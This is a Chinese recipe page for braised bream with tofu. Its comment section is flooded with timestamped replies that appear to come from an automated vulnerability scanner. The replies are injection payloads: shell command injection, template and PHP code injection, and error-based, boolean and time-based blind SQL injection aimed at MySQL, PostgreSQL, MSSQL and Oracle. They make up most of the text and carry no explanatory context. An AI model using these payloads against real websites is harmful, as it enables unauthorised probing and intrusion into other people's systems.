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  “脑保健”的方法很多,其中多吃鱼对脑最有补益。鱼类含有丰富的不饱和脂肪酸(比肉类高约10倍),是健脑的重要物质。鱼中含二十二碳六烯酸和二十碳...(展开)
时间: 10-30分钟

主料

鳊鱼750g

辅料

 
适量 适量
适量 适量
黄酒适量 红汤酱油适量
干辣椒适量 适量
姜片适量 豆腐150g

红烧鳊鱼的做法步骤

1.将鳊鱼打理干净,并打花刀

2.锅内放适量油

3.油烧温将鳊鱼放入油中煎

4.将鱼一侧煎黄后翻过来煎饼另一面

5.两面煎黄后放入干辣椒

6.再放入姜片

7.待姜片辣椒炸出香味后依次放入适量醋、黄酒、红汤酱油、盐、糖

8.将豆腐切块放入锅内

9.煮熟后放入葱花

10.葱花稍微过下汤

11.放入适量鸡精装盘即可

小贴士

1、煎鱼时一定要煎透后再翻面,不然鱼皮会粘锅2、加醋和黄酒可去腥3、加糖可提鲜4、红汤酱油上色会很漂亮的哦

©本菜谱的做法由 hjsqvoc 编写,未经授权不得转载 举报 | 打印
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88952634
889526342020-06-03 15:01:50回复

88952634 expr 813727568 + 846833197

88952634
889526342020-06-03 15:01:51回复

88952634|expr 978884325 + 970037045

88952634
889526342020-06-03 15:01:51回复

quhkfilcibzswhoqdauk

88952634
889526342020-06-03 15:01:52回复

88952634$(expr 904416480 + 965479544)

88952634
889526342020-06-03 15:01:54回复

88952634&set; /A 925938838+801630810

88952634
889526342020-06-03 15:01:57回复

${@var_dump(md5(421135430))};

88952634
889526342020-06-03 15:01:59回复

'-var_dump(md5(735435691))-'

88952634
889526342020-06-03 15:02:01回复

/*1*/{{894748383+960886231}}

88952634
889526342020-06-03 15:02:03回复

${895726698+865273965}

88952634
889526342020-06-03 15:02:04回复

${(889156097+800303149)?c}

88952634
889526342020-06-03 15:02:04回复

#set($c=916762545+844057264)${c}$c

88952634
889526342020-06-03 15:02:05回复

<%- 823555705+875606535 %>

88952634
889526342020-06-03 15:02:38回复

88952634'and/**/extractvalue(1,concat(char(126),md5(1908890758)))and'

88952634
889526342020-06-03 15:02:39回复

88952634"and/**/extractvalue(1,concat(char(126),md5(1855305742)))and"

88952634
889526342020-06-03 15:02:39回复

extractvalue(1,concat(char(126),md5(1872566088)))

88952634
889526342020-06-03 15:02:39回复

88952634'and(select'1'from/**/cast(md5(1378277315)as/**/int))>'0

88952634
889526342020-06-03 15:02:39回复

88952634/**/and/**/cast(md5('1794516044')as/**/int)>0

88952634
889526342020-06-03 15:02:40回复

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1609392656')))

88952634
889526342020-06-03 15:02:40回复

88952634'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1811127301')))>'0

88952634
889526342020-06-03 15:02:40回复

88952634鎈'"\(

88952634
889526342020-06-03 15:02:40回复

88952634'"\(

88952634
889526342020-06-03 15:02:40回复

88952634/**/and+2=2

88952634
889526342020-06-03 15:02:41回复

88952634/**/and+1=8

88952634
889526342020-06-03 15:02:41回复

88952634'and'm'='m

88952634
889526342020-06-03 15:02:41回复

88952634'and's'='u

88952634
889526342020-06-03 15:02:41回复

88952634"and"e"="e

88952634
889526342020-06-03 15:02:41回复

88952634"and"c"="w

88952634
889526342020-06-03 15:02:41回复

(select*from(select+sleep(0)union/**/select+1)a)

88952634
889526342020-06-03 15:02:42回复

(select*from(select+sleep(2)union/**/select+1)a)

88952634
889526342020-06-03 15:02:42回复

88952634'and(select*from(select+sleep(0))a/**/union/**/select+1)='

88952634
889526342020-06-03 15:02:42回复

88952634'and(select*from(select+sleep(2))a/**/union/**/select+1)='

88952634
889526342020-06-03 15:02:43回复

88952634"and(select*from(select+sleep(0))a/**/union/**/select+1)="

88952634
889526342020-06-03 15:02:43回复

88952634"and(select*from(select+sleep(2))a/**/union/**/select+1)="

88952634
889526342020-06-03 15:02:45回复

88952634/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

88952634
889526342020-06-03 15:02:46回复

88952634/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

88952634
889526342020-06-03 15:02:46回复

88952634'/**/and(select'1'from/**/pg_sleep(0))>'0

88952634
889526342020-06-03 15:02:46回复

88952634'/**/and(select'1'from/**/pg_sleep(2))>'0

88952634
889526342020-06-03 15:02:48回复

88952634/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

88952634
889526342020-06-03 15:02:49回复

88952634/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

88952634
889526342020-06-03 15:02:49回复

88952634'and(select+1)>0waitfor/**/delay'0:0:0

88952634
889526342020-06-03 15:02:50回复

88952634'and(select+1)>0waitfor/**/delay'0:0:2

88952634
889526342020-06-03 15:02:50回复

88952634/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('w',0)

88952634
889526342020-06-03 15:02:50回复

88952634/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('h',2)

88952634
889526342020-06-03 15:02:53回复

88952634'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',0)='e

88952634
889526342020-06-03 15:02:54回复

88952634'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g

88952634
889526342020-06-03 15:50:28回复

hgzdnhdfrulcogjvnjct

88952634
889526342020-06-03 15:50:44回复

88952634 expr 977929824 + 825509758

88952634
889526342020-06-03 15:50:44回复

88952634|expr 979439271 + 825583066

88952634
889526342020-06-03 15:50:45回复

88952634$(expr 870665327 + 830519303)

88952634
889526342020-06-03 15:50:45回复

88952634&set; /A 860740350+833399207

88952634
889526342020-06-03 15:50:45回复

${@var_dump(md5(822375503))};

88952634
889526342020-06-03 15:50:45回复

'-var_dump(md5(657814991))-'

88952634
889526342020-06-03 15:50:46回复

/*1*/{{905185973+943644990}}

88952634
889526342020-06-03 15:50:46回复

${839140971+845118217}

88952634
889526342020-06-03 15:50:46回复

${(914192984+942440765)?c}

88952634
889526342020-06-03 15:50:47回复

#set($c=807842810+924588020)${c}$c

88952634
889526342020-06-03 15:50:48回复

<%- 875330425+960734622 %>

88952634
889526342020-06-03 15:54:02回复

88952634'and/**/extractvalue(1,concat(char(126),md5(1704667914)))and'

88952634
889526342020-06-03 15:54:02回复

88952634"and/**/extractvalue(1,concat(char(126),md5(1093607961)))and"

88952634
889526342020-06-03 15:54:02回复

extractvalue(1,concat(char(126),md5(1160485027)))

88952634
889526342020-06-03 15:54:02回复

88952634'and(select'1'from/**/cast(md5(1008242877)as/**/int))>'0

88952634
889526342020-06-03 15:54:03回复

88952634/**/and/**/cast(md5('1524614522')as/**/int)>0

88952634
889526342020-06-03 15:54:04回复

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1373645270')))

88952634
889526342020-06-03 15:54:04回复

88952634'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1013669789')))>'0

88952634
889526342020-06-03 15:54:04回复

88952634鎈'"\(

88952634
889526342020-06-03 15:54:05回复

88952634'"\(

88952634
889526342020-06-03 15:54:05回复

88952634/**/and+1=1

88952634
889526342020-06-03 15:54:05回复

88952634/**/and+0=8

88952634
889526342020-06-03 15:54:05回复

88952634'and'x'='x

88952634
889526342020-06-03 15:54:06回复

88952634'and'b'='d

88952634
889526342020-06-03 15:54:06回复

88952634"and"w"="w

88952634
889526342020-06-03 15:54:06回复

88952634"and"u"="f

88952634
889526342020-06-03 15:54:06回复

(select*from(select+sleep(0)union/**/select+1)a)

88952634
889526342020-06-03 15:54:09回复

(select*from(select+sleep(2)union/**/select+1)a)

88952634
889526342020-06-03 15:54:09回复

88952634'and(select*from(select+sleep(0))a/**/union/**/select+1)='

88952634
889526342020-06-03 15:54:09回复

88952634'and(select*from(select+sleep(2))a/**/union/**/select+1)='

88952634
889526342020-06-03 15:54:10回复

88952634"and(select*from(select+sleep(0))a/**/union/**/select+1)="

88952634
889526342020-06-03 15:54:10回复

88952634"and(select*from(select+sleep(2))a/**/union/**/select+1)="

88952634
889526342020-06-03 15:54:10回复

88952634/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

88952634
889526342020-06-03 15:54:12回复

88952634/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

88952634
889526342020-06-03 15:54:13回复

88952634'/**/and(select'1'from/**/pg_sleep(0))>'0

88952634
889526342020-06-03 15:54:13回复

88952634'/**/and(select'1'from/**/pg_sleep(2))>'0

88952634
889526342020-06-03 15:54:13回复

88952634/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

88952634
889526342020-06-03 15:54:14回复

88952634/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

88952634
889526342020-06-03 15:54:16回复

88952634'and(select+1)>0waitfor/**/delay'0:0:0

88952634
889526342020-06-03 15:54:16回复

88952634'and(select+1)>0waitfor/**/delay'0:0:2

88952634
889526342020-06-03 15:54:18回复

88952634/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('r',0)

88952634
889526342020-06-03 15:54:20回复

88952634/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('a',2)

88952634
889526342020-06-03 15:54:20回复

88952634'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',0)='d

88952634
889526342020-06-03 15:54:21回复

88952634'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',2)='r